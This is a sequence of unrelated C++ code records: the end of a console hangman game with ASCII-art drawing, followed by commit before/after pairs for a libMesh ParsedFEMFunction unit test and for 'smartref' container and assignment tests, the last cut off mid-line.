blank\n\n\twhile ((guessesCounter > 0) && (winning == 0))\n\t{\n\t\t\n\t\tcout << \"Guess a letter: \";\n\t\tcin >> guessLetter;\n\t\tguessLetter = toupper(guessLetter); \/\/ make guess uppercase\n\n\t\tfor (unsigned long i = 0; i < wordLength; i++) \/\/ loop through word looking for guess\n\t\t{\n\t\t\tif (guessLetter == word[i])\n\t\t\t{\n\t\t\t\tsolution[i] = guessLetter; \/\/ set the i char in solution to guessLetter\n\t\t\t\tgoodGuess = 1; \/\/ sets the flag goodGuess = 1 for the logic below\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (solution == word) \/\/ thus victory\n\t\t{\n\t\t\twinning = 1; \/\/ variable flag telling drawing function victory is true\n\t\t\thangmanDraw(guessesCounter, winning, solution, guessLetter, goodGuess);\n\t\t}\n\t\telse if (goodGuess == 1)\n\t\t{\n\t\t\thangmanDraw(guessesCounter, winning, solution, guessLetter, goodGuess);\n\t\t\tgoodGuess = 0; \/\/ clear flag for next run\n\t\t}\n\t\telse\n\t\t{\n\t\t\tguessesCounter--; \/\/ decrement guess\n\t\t\thangmanDraw(guessesCounter, winning, solution, guessLetter, goodGuess);\n\t\t}\n\t}\n}\n\nvoid hangmanDraw(int guessNumber, int winningResult, string solutionDisplay, char guessLetter, int goodGuess)\n{\n\t\/\/ set up strings for game\n\tstring hD01 = \"    \/\\\\  \/\\\\__ _ _ __   __ _ _ __ ___   __ _ _ __  \\n\"; \/\/ have to escape out backslash\n\tstring hD02 = \"   \/ \/_\/ \/ _` | '_ \\\\ \/ _` | '_ ` _ \\\\ \/ _` | '_ \\\\ \\n\"; \/\/ have to escape out backslash\n\tstring hD03 = \"  \/ __  \/ (_| | | | | (_| | | | | | | (_| | | | |\\n\"; \n\tstring hD04 = \"  \\\\\/ \/_\/ \\\\__,_|_| |_|\\\\__, |_| |_| |_|\\\\__,_|_| |_|\\n\"; \/\/ have to escape out backslash\n\tstring hD05 = \"                     |___\/                       \\n\";\n\tstring hD06 = \"                            by Elliott Plack     \\n\";\n\tstring hD07 = \"                                                 \\n\";\n\tstring hD08 = \"      _______                                    \\n\";\n\tstring hD09 = \"     |\/      |          ______________________   \\n\";\n\tstring hD10 = \"     |                 |                      |  \\n\";\n\tstring hD11 = \"     |                 | Your Progress        |  \\n\";\n\tstring hD12 = \"     |                 |                      |  \\n\";\n\tstring hD13 = \"     |                 |                      |  \\n\";\n\tstring hD14 = \"     |                 |                      |  \\n\";\n\tstring hD15 = \"  ___|___              |______________________|  \\n\";\n\tstring hD16 = \"                                                 \\n\";\n\t\n\n\t\/\/ set up body parts\n\tstring head = \"(_)\";\n\tstring neck = \"|\";\n\tstring leftArm = \"\\\\\";\n\tstring rightArm = \"\/\";\n\tstring torso = \"|\";\n\tstring leftLeg = \"\/\";\n\tstring rightLeg = \"\\\\\";\n\tconst char space = ' ';\n\tstring youWon = \"YOU WON !!\";\n\tstring youLose = \"YOU DIED !\";\n\tstring guessStr;\n\n\tif (goodGuess != 1) \/\/ if the guess isn't good add the fail letter to string\n\t{\n\t\tguessStr.push_back(guessLetter); \/\/ store guess char to string\n\t}\n\n\tsystem(\"CLS\"); \/\/ clear the input screen (Windows only)\n\n\tif (guessNumber <= 7 && winningResult == 0)\n\t{\n\t\tswitch (guessNumber)\n\t\t{\n\t\tcase 7: \/\/ no bad guesses or beginning case\n\t\t\thD13 = hD13.replace(25, wordLength, solutionDisplay);\n\t\t\tcout << hD01 << hD02 << hD03 << hD04 << hD05 << hD06 << hD07\n\t\t\t\t<< hD08 << hD09 << hD10 << hD11 << hD12 << hD13 << hD14 << hD15 << hD16 << hD17;\n\t\t\tbreak;\n\t\tcase 6:\n\t\t\thD10 = hD10.replace(12, 3, head);\n\t\t\thD13 = hD13.replace(25, wordLength, solutionDisplay);\n\t\t\tif (goodGuess != 1)\n\t\t\t\thD17 = hD17.replace(17, 1, guessStr);\n\t\t\tcout << hD01 << hD02 << hD03 << hD04 << hD05 << hD06 << hD07\n\t\t\t\t<< hD08 << hD09 << hD10 << hD11 << hD12 << hD13 << hD14 << hD15 << hD16 << hD17;\n\t\t\tbreak;\n\t\tcase 5:\n\t\t\thD10 = hD10.replace(12, 3, head);\n\t\t\thD11 = hD11.replace(12, 1, leftArm);\n\t\t\thD13 = hD13.replace(25, wordLength, solutionDisplay);\n\t\t\tif (goodGuess != 1)\n\t\t\t\thD17 = hD17.replace(20, 1, guessStr);\n\t\t\tcout << hD01 << hD02 << hD03 << hD04 << hD05 << hD06 << hD07\n\t\t\t\t<< hD08 << hD09 << hD10 << hD11 << hD12 << hD13 << hD14 << hD15 << hD16 << hD17;\n\t\t\tbreak;\n\t\tcase 4:\n\t\t\thD10 = hD10.replace(12, 3, head);\n\t\t\thD11 = hD11.replace(12, 2, leftArm + neck);\n\t\t\thD13 = hD13.replace(25, wordLength, solutionDisplay);\n\t\t\tif (goodGuess != 1)\n\t\t\t\thD17 = hD17.replace(23, 1, guessStr);\n\t\t\tcout << hD01 << hD02 << hD03 << hD04 << hD05 << hD06 << hD07\n\t\t\t\t<< hD08 << hD09 << hD10 << hD11 << hD12 << hD13 << hD14 << hD15 << hD16 << hD17;\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\thD10 = hD10.replace(12, 3, head);\n\t\t\thD11 = hD11.replace(12, 3, leftArm + neck + rightArm);\n\t\t\thD13 = hD13.replace(25, wordLength, solutionDisplay);\n\t\t\tif (goodGuess != 1)\n\t\t\t\thD17 = hD17.replace(26, 1, guessStr);\n\t\t\tcout << hD01 << hD02 << hD03 << hD04 << hD05 << hD06 << hD07\n\t\t\t\t<< hD08 << hD09 << hD10 << hD11 << hD12 << hD13 << hD14 << hD15 << hD16 << hD17;\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\thD10 = hD10.replace(12, 3, head);\n\t\t\thD11 = hD11.replace(12, 3, leftArm + neck + rightArm);\n\t\t\thD12 = hD12.replace(13, 1, torso);\n\t\t\thD13 = hD13.replace(25, wordLength, solutionDisplay);\n\t\t\tif (goodGuess != 1)\n\t\t\t\thD17 = hD17.replace(29, 1, guessStr);\n\t\t\tcout << hD01 << hD02 << hD03 << hD04 << hD05 << hD06 << hD07\n\t\t\t\t<< hD08 << hD09 << hD10 << hD11 << hD12 << hD13 << hD14 << hD15 << hD16 << hD17;\n\t\t\tbreak;\n\t\tcase 1:\n\t\t\thD10 = hD10.replace(12, 3, head);\n\t\t\thD11 = hD11.replace(12, 3, leftArm + neck + rightArm);\n\t\t\thD12 = hD12.replace(13, 1, torso);\n\t\t\thD13 = hD13.replace(12, 2, leftLeg + space);\n\t\t\thD13 = hD13.replace(25, wordLength, solutionDisplay);\n\t\t\tif (goodGuess != 1)\n\t\t\t\thD17 = hD17.replace(32, 1, guessStr);\n\t\t\tcout << hD01 << hD02 << hD03 << hD04 << hD05 << hD06 << hD07\n\t\t\t\t<< hD08 << hD09 << hD10 << hD11 << hD12 << hD13 << hD14 << hD15 << hD16 << hD17;\n\t\t\tbreak;\n\t\tcase 0:\n\t\t\thD10 = hD10.replace(12, 3, head);\n\t\t\thD11 = hD11.replace(12, 3, leftArm + neck + rightArm);\n\t\t\thD12 = hD12.replace(13, 1, torso);\n\t\t\thD13 = hD13.replace(12, 3, leftLeg + space + rightLeg);\n\t\t\thD13 = hD13.replace(25, wordLength, word); \/\/ show the full word\n\t\t\thD14 = hD14.replace(31, 10, youLose);\n\t\t\tif (goodGuess != 1)\n\t\t\t\thD17 = hD17.replace(35, 1, guessStr);\n\t\t\tcout << hD01 << hD02 << hD03 << hD04 << hD05 << hD06 << hD07\n\t\t\t\t<< hD08 << hD09 << hD10 << hD11 << hD12 << hD13 << hD14 << hD15 << hD16 << hD17;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tcout << \"\\aError!\";\n\t\t\tbreak;\n\t\t}\n\t}\n\telse if (winningResult == 1)\n\t{\n\t\thD13 = hD13.replace(25, wordLength, solutionDisplay);\n\t\thD14 = hD14.replace(31, 10, youWon);\n\t\tcout << hD01 << hD02 << hD03 << hD04 << hD05 << hD06 << hD07\n\t\t\t<< hD08 << hD09 << hD10 << hD11 << hD12 << hD13 << hD14 << hD15 << hD16 << hD17;\n\t}\n}<|endoftext|>"}
{"text":"<commit_before>\/\/ Ignore unused parameter warnings coming from cppuint headers\n#include <libmesh\/ignore_warnings.h>\n#include <cppunit\/extensions\/HelperMacros.h>\n#include <cppunit\/TestCase.h>\n#include <libmesh\/restore_warnings.h>\n\n\/\/ libmesh includes\n#include \"libmesh\/auto_ptr.h\"\n#include \"libmesh\/elem.h\"\n#include \"libmesh\/equation_systems.h\"\n#include \"libmesh\/mesh.h\"\n#include \"libmesh\/mesh_generation.h\"\n#include \"libmesh\/numeric_vector.h\"\n#include \"libmesh\/parsed_fem_function.h\"\n#include \"libmesh\/system.h\"\n\n\/\/ test includes\n#include \"test_comm.h\"\n\nusing namespace libMesh;\n\nclass ParsedFEMFunctionTest : public CppUnit::TestCase\n{\npublic:\n  void setUp() {\n    mesh.reset(new Mesh(*TestCommWorld));\n    MeshTools::Generation::build_cube(*mesh, 1, 1, 1);\n    es.reset(new EquationSystems(*mesh));\n    sys = &(es->add_system<System> (\"SimpleSystem\"));\n    sys->add_variable(\"x2\");\n    sys->add_variable(\"x3\");\n    sys->add_variable(\"c05\");\n    sys->add_variable(\"y4\");\n    sys->add_variable(\"xy\");\n    sys->add_variable(\"yz\");\n    sys->add_variable(\"xyz\");\n\n    es->init();\n\n    NumericVector<Number> & sol = *sys->solution;\n    Elem *elem = mesh->elem(0);\n\n    \/\/ Set x2 = 2*x\n    sol.set(elem->get_node(1)->dof_number(0,0,0), 2);\n    sol.set(elem->get_node(2)->dof_number(0,0,0), 2);\n    sol.set(elem->get_node(4)->dof_number(0,0,0), 2);\n    sol.set(elem->get_node(5)->dof_number(0,0,0), 2);\n\n    \/\/ Set x3 = 3*x\n    sol.set(elem->get_node(1)->dof_number(0,1,0), 3);\n    sol.set(elem->get_node(2)->dof_number(0,1,0), 3);\n    sol.set(elem->get_node(4)->dof_number(0,1,0), 3);\n    sol.set(elem->get_node(5)->dof_number(0,1,0), 3);\n\n    \/\/ Set c05 = 0.5\n    sol.set(elem->get_node(0)->dof_number(0,2,0), 0.5);\n    sol.set(elem->get_node(1)->dof_number(0,2,0), 0.5);\n    sol.set(elem->get_node(2)->dof_number(0,2,0), 0.5);\n    sol.set(elem->get_node(3)->dof_number(0,2,0), 0.5);\n    sol.set(elem->get_node(4)->dof_number(0,2,0), 0.5);\n    sol.set(elem->get_node(5)->dof_number(0,2,0), 0.5);\n    sol.set(elem->get_node(6)->dof_number(0,2,0), 0.5);\n    sol.set(elem->get_node(7)->dof_number(0,2,0), 0.5);\n\n    \/\/ Set y4 = 4*y\n    sol.set(elem->get_node(2)->dof_number(0,3,0), 4);\n    sol.set(elem->get_node(3)->dof_number(0,3,0), 4);\n    sol.set(elem->get_node(6)->dof_number(0,3,0), 4);\n    sol.set(elem->get_node(7)->dof_number(0,3,0), 4);\n\n    \/\/ Set xy = x*y\n    sol.set(elem->get_node(2)->dof_number(0,4,0), 1);\n    sol.set(elem->get_node(6)->dof_number(0,4,0), 1);\n\n    \/\/ Set yz = y*z\n    sol.set(elem->get_node(6)->dof_number(0,5,0), 1);\n    sol.set(elem->get_node(7)->dof_number(0,5,0), 1);\n\n    \/\/ Set xyz = x*y*z\n    sol.set(elem->get_node(7)->dof_number(0,6,0), 1);\n\n    sol.close();\n    sys->update();\n  }\n\n  void tearDown() {\n    es.reset();\n    mesh.reset();\n  }\n\n  CPPUNIT_TEST_SUITE(ParsedFEMFunctionTest);\n\n  CPPUNIT_TEST(testValues);\n\n  CPPUNIT_TEST_SUITE_END();\n\n\nprivate:\n  AutoPtr<Mesh> mesh;\n  AutoPtr<EquationSystems> es;\n  System * sys;\n\n  void testValues()\n  {\n    Elem *elem = mesh->elem(0);\n\n    ParsedFEMFunction<Number> parsed_func(*sys, \"x2*y4\");\n\n    FEMContext c(*sys);\n\n    c.pre_fe_reinit(*sys, elem);\n    c.elem_fe_reinit();\n  }\n\n};\n\nCPPUNIT_TEST_SUITE_REGISTRATION(ParsedFEMFunctionTest);\n<commit_msg>More ParsedFEMFunction testing<commit_after>\/\/ Ignore unused parameter warnings coming from cppuint headers\n#include <libmesh\/ignore_warnings.h>\n#include <cppunit\/extensions\/HelperMacros.h>\n#include <cppunit\/TestCase.h>\n#include <libmesh\/restore_warnings.h>\n\n\/\/ libmesh includes\n#include \"libmesh\/auto_ptr.h\"\n#include \"libmesh\/elem.h\"\n#include \"libmesh\/equation_systems.h\"\n#include \"libmesh\/mesh.h\"\n#include \"libmesh\/mesh_generation.h\"\n#include \"libmesh\/numeric_vector.h\"\n#include \"libmesh\/parsed_fem_function.h\"\n#include \"libmesh\/system.h\"\n\n\/\/ test includes\n#include \"test_comm.h\"\n\nusing namespace libMesh;\n\nclass ParsedFEMFunctionTest : public CppUnit::TestCase\n{\npublic:\n  void setUp() {\n    mesh.reset(new Mesh(*TestCommWorld));\n    MeshTools::Generation::build_cube(*mesh, 1, 1, 1);\n    es.reset(new EquationSystems(*mesh));\n    sys = &(es->add_system<System> (\"SimpleSystem\"));\n    sys->add_variable(\"x2\");\n    sys->add_variable(\"x3\");\n    sys->add_variable(\"c05\");\n    sys->add_variable(\"y4\");\n    sys->add_variable(\"xy\");\n    sys->add_variable(\"yz\");\n    sys->add_variable(\"xyz\");\n\n    es->init();\n\n    NumericVector<Number> & sol = *sys->solution;\n    Elem *elem = mesh->elem(0);\n\n    \/\/ Set x2 = 2*x\n    sol.set(elem->get_node(1)->dof_number(0,0,0), 2);\n    sol.set(elem->get_node(2)->dof_number(0,0,0), 2);\n    sol.set(elem->get_node(4)->dof_number(0,0,0), 2);\n    sol.set(elem->get_node(5)->dof_number(0,0,0), 2);\n\n    \/\/ Set x3 = 3*x\n    sol.set(elem->get_node(1)->dof_number(0,1,0), 3);\n    sol.set(elem->get_node(2)->dof_number(0,1,0), 3);\n    sol.set(elem->get_node(4)->dof_number(0,1,0), 3);\n    sol.set(elem->get_node(5)->dof_number(0,1,0), 3);\n\n    \/\/ Set c05 = 0.5\n    sol.set(elem->get_node(0)->dof_number(0,2,0), 0.5);\n    sol.set(elem->get_node(1)->dof_number(0,2,0), 0.5);\n    sol.set(elem->get_node(2)->dof_number(0,2,0), 0.5);\n    sol.set(elem->get_node(3)->dof_number(0,2,0), 0.5);\n    sol.set(elem->get_node(4)->dof_number(0,2,0), 0.5);\n    sol.set(elem->get_node(5)->dof_number(0,2,0), 0.5);\n    sol.set(elem->get_node(6)->dof_number(0,2,0), 0.5);\n    sol.set(elem->get_node(7)->dof_number(0,2,0), 0.5);\n\n    \/\/ Set y4 = 4*y\n    sol.set(elem->get_node(2)->dof_number(0,3,0), 4);\n    sol.set(elem->get_node(3)->dof_number(0,3,0), 4);\n    sol.set(elem->get_node(6)->dof_number(0,3,0), 4);\n    sol.set(elem->get_node(7)->dof_number(0,3,0), 4);\n\n    \/\/ Set xy = x*y\n    sol.set(elem->get_node(2)->dof_number(0,4,0), 1);\n    sol.set(elem->get_node(6)->dof_number(0,4,0), 1);\n\n    \/\/ Set yz = y*z\n    sol.set(elem->get_node(6)->dof_number(0,5,0), 1);\n    sol.set(elem->get_node(7)->dof_number(0,5,0), 1);\n\n    \/\/ Set xyz = x*y*z\n    sol.set(elem->get_node(7)->dof_number(0,6,0), 1);\n\n    sol.close();\n    sys->update();\n  }\n\n  void tearDown() {\n    es.reset();\n    mesh.reset();\n  }\n\n  CPPUNIT_TEST_SUITE(ParsedFEMFunctionTest);\n\n  CPPUNIT_TEST(testValues);\n\n  CPPUNIT_TEST_SUITE_END();\n\n\nprivate:\n  AutoPtr<Mesh> mesh;\n  AutoPtr<EquationSystems> es;\n  System * sys;\n\n  void testValues()\n  {\n    Elem *elem = mesh->elem(0);\n\n    FEMContext c(*sys);\n\n    c.pre_fe_reinit(*sys, elem);\n    c.elem_fe_reinit();\n\n    ParsedFEMFunction<Number> x2(*sys, \"x2\");\n\n    CPPUNIT_ASSERT_DOUBLES_EQUAL\n      (x2(c,Point(0.5,0.5,0.5)), 1.0, 1.e-12);\n\n    ParsedFEMFunction<Number> xy8(*sys, \"x2*y4\");\n\n    CPPUNIT_ASSERT_DOUBLES_EQUAL\n      (xy8(c,Point(0.5,0.5,0.5)), 2.0, 1.e-12);\n  }\n\n};\n\nCPPUNIT_TEST_SUITE_REGISTRATION(ParsedFEMFunctionTest);\n<|endoftext|>"}
{"text":"<commit_before>#include <reflection\/reflection.h>\n#include <smartref\/smartref.h>\n\n\/\/ #include <vector>\n\nnamespace tests_containers {\n\n\/\/ using T = int;\n\/\/ using T = std::vector<int>;\n\n\/\/ using reflection::reflect;\n\n\/\/ \/\/! Member-types\n\/\/ constexpr auto is_valid = [](auto expression)\n\/\/ {\n\/\/   \/\/ auto expected = reflect<decltype(expression(std::declval<    T >(), std::declval<    T >()))>;\n\/\/   auto actual   = reflect<decltype(expression(std::declval<Ref<T>>(), std::declval<    T >()))>;\n\n\/\/   return true;\n\/\/   \/\/ return actual == expected;\n\/\/ };\n\n\/\/ #define IS_VALID(expression) is_valid([](auto &&_, auto &&__) {return expression;})\n\n\/\/ TODO:\n\/\/ - constructing a smartref (e.g. Ref<int> x;)\n\n\/\/ static_assert(reflect<Ref<T>::value_type>             == reflect<T::value_type>);\n\/\/ static_assert(reflect<Ref<T>::allocator_type>         == reflect<T::allocator_type>);\n\/\/ static_assert(reflect<Ref<T>::size_type>              == reflect<T::size_type>);\n\/\/ static_assert(reflect<Ref<T>::difference_type>        == reflect<T::difference_type>);\n\/\/ static_assert(reflect<Ref<T>::reference>              == reflect<T::reference>);\n\/\/ static_assert(reflect<Ref<T>::const_reference>        == reflect<T::const_reference>);\n\/\/ static_assert(reflect<Ref<T>::pointer>                == reflect<T::pointer>);\n\/\/ static_assert(reflect<Ref<T>::const_pointer>          == reflect<T::const_pointer>);\n\/\/ static_assert(reflect<Ref<T>::iterator>               == reflect<T::iterator>);\n\/\/ static_assert(reflect<Ref<T>::const_iterator>         == reflect<T::const_iterator>);\n\/\/ static_assert(reflect<Ref<T>::reverse_iterator>       == reflect<T::reverse_iterator>);\n\/\/ static_assert(reflect<Ref<T>::const_reverse_iterator> == reflect<T::const_reverse_iterator>);\n\n\/\/ \/\/! Member functions\n\/\/ \/\/ TODO: Test all overloads\n\/\/ \/\/ TODO: (constructor)\n\/\/ \/\/ TODO: Why does operator= work? What does it do?\n\/\/ \/\/ static_assert(IS_VALID(_.operator=(_)));\n\/\/ \/\/ static_assert(IS_VALID(_.operator=(__)));\n\/\/ static_assert(IS_VALID(_ = __));\n\/\/ static_assert(IS_VALID(_.assign(0, 0)));\n\/\/ static_assert(IS_VALID(_.assign(begin(_), end(_))));\n\/\/ static_assert(IS_VALID(_.get_allocator()));\n\/\/ \/\/! Element access\n\/\/ static_assert(IS_VALID(_.at(T::size_type{})));\n\/\/ static_assert(IS_VALID(_.operator[](0)));\n\/\/ static_assert(IS_VALID(_[0]));\n\/\/ static_assert(IS_VALID(_.front()));\n\/\/ static_assert(IS_VALID(_.back()));\n\/\/ static_assert(IS_VALID(_.data()));\n\n\/\/ \/\/! Iterators\n\/\/ static_assert(IS_VALID(_.begin()));\n\/\/ static_assert(IS_VALID(_.cbegin()));\n\/\/ static_assert(IS_VALID(_.end()));\n\/\/ static_assert(IS_VALID(_.cend()));\n\/\/ static_assert(IS_VALID(_.rbegin()));\n\/\/ static_assert(IS_VALID(_.crbegin()));\n\/\/ static_assert(IS_VALID(_.rend()));\n\/\/ static_assert(IS_VALID(_.crend()));\n\n\/\/ \/\/! Capacity\n\/\/ static_assert(IS_VALID(_.empty()));\n\/\/ static_assert(IS_VALID(_.size()));\n\/\/ static_assert(IS_VALID(_.max_size()));\n\/\/ static_assert(IS_VALID(_.reserve(T::size_type{})));\n\/\/ static_assert(IS_VALID(_.capacity()));\n\/\/ static_assert(IS_VALID(_.shrink_to_fit()));\n\n\/\/ \/\/! Modifiers\n\/\/ static_assert(IS_VALID(_.clear()));\n\/\/ static_assert(IS_VALID(_.insert(begin(_), 0)));\n\/\/ static_assert(IS_VALID(_.emplace(begin(_), 0)));\n\/\/ static_assert(IS_VALID(_.template emplace<int>(begin(_), 0)));\n\/\/ static_assert(IS_VALID(_.erase(begin(_))));\n\/\/ static_assert(IS_VALID(_.push_back(0)));\n\/\/ static_assert(IS_VALID(_.emplace_back(0)));\n\/\/ static_assert(IS_VALID(_.template emplace_back<int>(0)));\n\/\/ static_assert(IS_VALID(_.pop_back()));\n\/\/ static_assert(IS_VALID(_.resize(T::size_type{})));\n\/\/ static_assert(IS_VALID(_.swap(_)));\n\n\/\/ \/\/! Non-member functions\n\/\/ \/\/ static_assert(IS_VALID(_ == _);\n\/\/ \/\/ TODO: operator!=\n\/\/ \/\/ TODO: operator<\n\/\/ \/\/ TODO: operator<=\n\/\/ \/\/ TODO: operator>\n\/\/ \/\/ TODO: operator>=\n\/\/ \/\/ TODO: std::swap\n\n\/\/ \/\/ TODO: Deduction guides\n\n} \/\/ namespace tests_containers\n<commit_msg>Re-enabled part of the containers unit tests.<commit_after>#include <reflection\/reflection.h>\n#include <smartref\/smartref.h>\n\n#include <vector>\n\nnamespace tests_containers {\n\nusing T = std::vector<int>;\n\ntemplate<typename T>\nstruct Ref : smartref::using_<T>\n{\n  T ref;\n\n  operator T &()\n  {\n    return ref;\n  }\n};\n\nusing reflection::reflect;\n\n\/\/! Member-types\nconstexpr auto is_valid = [](auto expression)\n{\n  auto expected = reflect<decltype(expression(std::declval<    T >(), std::declval<    T >()))>;\n  auto actual   = reflect<decltype(expression(std::declval<Ref<T>>(), std::declval<    T >()))>;\n\n  return actual == expected;\n};\n\n#define IS_VALID(expression) is_valid([](auto &&_, auto &&__) {return expression;})\n\n\/\/ TODO:\n\/\/ - constructing a smartref (e.g. Ref<int> x;)\n\n\/\/ static_assert(reflect<Ref<T>::value_type>             == reflect<T::value_type>);\n\/\/ static_assert(reflect<Ref<T>::allocator_type>         == reflect<T::allocator_type>);\n\/\/ static_assert(reflect<Ref<T>::size_type>              == reflect<T::size_type>);\n\/\/ static_assert(reflect<Ref<T>::difference_type>        == reflect<T::difference_type>);\n\/\/ static_assert(reflect<Ref<T>::reference>              == reflect<T::reference>);\n\/\/ static_assert(reflect<Ref<T>::const_reference>        == reflect<T::const_reference>);\n\/\/ static_assert(reflect<Ref<T>::pointer>                == reflect<T::pointer>);\n\/\/ static_assert(reflect<Ref<T>::const_pointer>          == reflect<T::const_pointer>);\n\/\/ static_assert(reflect<Ref<T>::iterator>               == reflect<T::iterator>);\n\/\/ static_assert(reflect<Ref<T>::const_iterator>         == reflect<T::const_iterator>);\n\/\/ static_assert(reflect<Ref<T>::reverse_iterator>       == reflect<T::reverse_iterator>);\n\/\/ static_assert(reflect<Ref<T>::const_reverse_iterator> == reflect<T::const_reverse_iterator>);\n\n\/\/! Member functions\n\/\/ TODO: Test all overloads\n\/\/ TODO: (constructor)\n\/\/ TODO: Why does operator= work? What does it do?\n\/\/ static_assert(IS_VALID(_.operator=(_)));\n\/\/ static_assert(IS_VALID(_.operator=(__)));\n\/\/ static_assert(IS_VALID(_ = __));\n\/\/ static_assert(IS_VALID(_.assign(0, 0)));\n\/\/ static_assert(IS_VALID(_.assign(begin(_), end(_))));\n\/\/ static_assert(IS_VALID(_.get_allocator()));\n\/\/ \/\/! Element access\n\/\/ static_assert(IS_VALID(_.at(T::size_type{})));\n\/\/ static_assert(IS_VALID(_.operator[](0)));\n\/\/ static_assert(IS_VALID(_[0]));\n\/\/ static_assert(IS_VALID(_.front()));\n\/\/ static_assert(IS_VALID(_.back()));\n\/\/ static_assert(IS_VALID(_.data()));\n\n\/\/ \/\/! Iterators\n\/\/ static_assert(IS_VALID(_.begin()));\n\/\/ static_assert(IS_VALID(_.cbegin()));\n\/\/ static_assert(IS_VALID(_.end()));\n\/\/ static_assert(IS_VALID(_.cend()));\n\/\/ static_assert(IS_VALID(_.rbegin()));\n\/\/ static_assert(IS_VALID(_.crbegin()));\n\/\/ static_assert(IS_VALID(_.rend()));\n\/\/ static_assert(IS_VALID(_.crend()));\n\n\/\/ \/\/! Capacity\n\/\/ static_assert(IS_VALID(_.empty()));\n\/\/ static_assert(IS_VALID(_.size()));\n\/\/ static_assert(IS_VALID(_.max_size()));\n\/\/ static_assert(IS_VALID(_.reserve(T::size_type{})));\n\/\/ static_assert(IS_VALID(_.capacity()));\n\/\/ static_assert(IS_VALID(_.shrink_to_fit()));\n\n\/\/ \/\/! Modifiers\n\/\/ static_assert(IS_VALID(_.clear()));\n\/\/ static_assert(IS_VALID(_.insert(begin(_), 0)));\n\/\/ static_assert(IS_VALID(_.emplace(begin(_), 0)));\n\/\/ static_assert(IS_VALID(_.template emplace<int>(begin(_), 0)));\n\/\/ static_assert(IS_VALID(_.erase(begin(_))));\n\/\/ static_assert(IS_VALID(_.push_back(0)));\n\/\/ static_assert(IS_VALID(_.emplace_back(0)));\n\/\/ static_assert(IS_VALID(_.template emplace_back<int>(0)));\n\/\/ static_assert(IS_VALID(_.pop_back()));\n\/\/ static_assert(IS_VALID(_.resize(T::size_type{})));\n\/\/ static_assert(IS_VALID(_.swap(_)));\n\n\/\/ \/\/! Non-member functions\n\/\/ \/\/ static_assert(IS_VALID(_ == _);\n\/\/ \/\/ TODO: operator!=\n\/\/ \/\/ TODO: operator<\n\/\/ \/\/ TODO: operator<=\n\/\/ \/\/ TODO: operator>\n\/\/ \/\/ TODO: operator>=\n\/\/ \/\/ TODO: std::swap\n\n\/\/ \/\/ TODO: Deduction guides\n\n} \/\/ namespace tests_containers\n<|endoftext|>"}
{"text":"<commit_before>#include <reflection\/reflection.h>\n#include <smartref\/smartref.h>\n\n\/\/ #include <vector>\n#include <cassert>\n\nnamespace tests_containers {\n\n\/\/ template <typename F>\n\/\/ class reflect_member_function : public reflection::reflect_base<reflection::reflected_kind::member_function> {\n\/\/ private:\n\/\/     template <typename... ExplicitArgs, typename... Args>\n\/\/     decltype(auto) indirect(Args&&... args)\n\/\/     {\n\/\/         auto f = [](auto& obj, auto&&... args) { if constexpr (sizeof...(ExplicitArgs) == 0) return obj.operator=(std::forward<Args>(args)...); else if constexpr (utils::always_true<Args...>) return obj.template operator=<ExplicitArgs...>( std::forward<Args>(args)...); };\n\/\/         return F{}(*this, f, std::forward<Args>(args)...);\n\/\/     }\n\/\/ public:\n\/\/     template <typename... ExplicitArgs, typename... Args>\n\/\/     auto operator=(Args&&... args) -> decltype(indirect<ExplicitArgs...>(std::forward<Args>(args)...)) { return indirect<ExplicitArgs...>(std::forward<Args>(args)...); }\n\/\/ };\n\/\/ template<typename T>\n\nstruct Ref : smartref::reflect_member_function<Ref>\n\/\/ struct Ref : smartref::using_<T>\n{\n  int ref;\n\n  static auto &counter()\n  {\n    static auto count = 0;\n    return count;\n  }\n\n  operator int &()\n  {\n    ++counter();\n    return ref;\n  }\n\n  Ref(int arg) : ref{arg} {}\n\n  using Base = smartref::reflect_member_function<Ref>;\n  using Base::operator=;\n\n  Ref() = default;\n\n  Ref(const Ref &) = default;\n  Ref &operator=(const Ref &) = default;\n  Ref(Ref &&) = default;\n  Ref &operator=(Ref &&) = default;\n};\n\ntemplate<typename T, typename Delegate = int>\nauto test = []{\n  \/\/! Uninitialized construction\n  T a;\n\n  \/\/! Default construction\n  T b{};\n  T c = {};\n\n  \/\/! Copy construction\n  T d{a};\n  T e = a;\n  T f = {a};\n  auto g{a};\n  auto h = a;\n  auto i = {a};\n\n  \/\/! Move construction\n  T j{std::move(a)};\n  T k = std::move(a);\n  T l = {std::move(a)};\n  auto m{T{}};\n  auto n = T{};\n  auto o = {T{}};\n\n  \/\/! Delegate type copy construction\n  auto delegate = Delegate{};\n  T p{delegate};\n  T q = delegate;\n  T r = {delegate};\n  auto s{T{delegate}};\n  auto t = T{delegate};\n  auto u = {T{delegate}};\n\n  \/\/! Delegate type move construction\n  T v{std::move(delegate)};\n  T w = std::move(delegate);\n  T x = {std::move(delegate)};\n  auto y{T{std::move(delegate)}};\n  auto z = T{std::move(delegate)};\n  auto A = {T{std::move(delegate)}};\n\n  \/\/! Copy assignments\n  a = b;\n  a = b = c;\n  a = (b = c);\n  (a = b) = c;\n\n  \/\/! Move assignments\n  a = std::move(b);\n  a = b = std::move(c);\n  a = (b = std::move(c));\n  (a = b) = std::move(c);\n\n  \/\/! Delegate type copy assignments\n  a = delegate;\n  a = b = delegate;\n  a = (b = delegate);\n  (a = b) = delegate;\n\n  \/\/! Delegate type move assignments\n  a = std::move(delegate);\n  a = b = std::move(delegate);\n  a = (b = std::move(delegate));\n  (a = b) = std::move(delegate);\n\n  return 0;\n};\n\nauto test_int = test<int>();\n\nauto test_ref = []{\n  Ref<int>::counter() = 0;\n  test<Ref<int>>();\n  assert(Ref<int>::counter() == 18);\n\n  Ref<float>::counter() = 0;\n  test<Ref<float>>();\n  assert(Ref<float>::counter() == 18);\n\n  Ref<bool>::counter() = 0;\n  test<Ref<bool>>();\n  assert(Ref<bool>::counter() == 18);\n\n  return 0;\n}();\n\n\/\/ using T = int;\n\/\/ using T = std::vector<int>;\n\n\/\/ using reflection::reflect;\n\n\/\/ \/\/! Member-types\n\/\/ constexpr auto is_valid = [](auto expression)\n\/\/ {\n\/\/   \/\/ auto expected = reflect<decltype(expression(std::declval<    T >(), std::declval<    T >()))>;\n\/\/   auto actual   = reflect<decltype(expression(std::declval<Ref<T>>(), std::declval<    T >()))>;\n\n\/\/   return true;\n\/\/   \/\/ return actual == expected;\n\/\/ };\n\n\/\/ #define IS_VALID(expression) is_valid([](auto &&_, auto &&__) {return 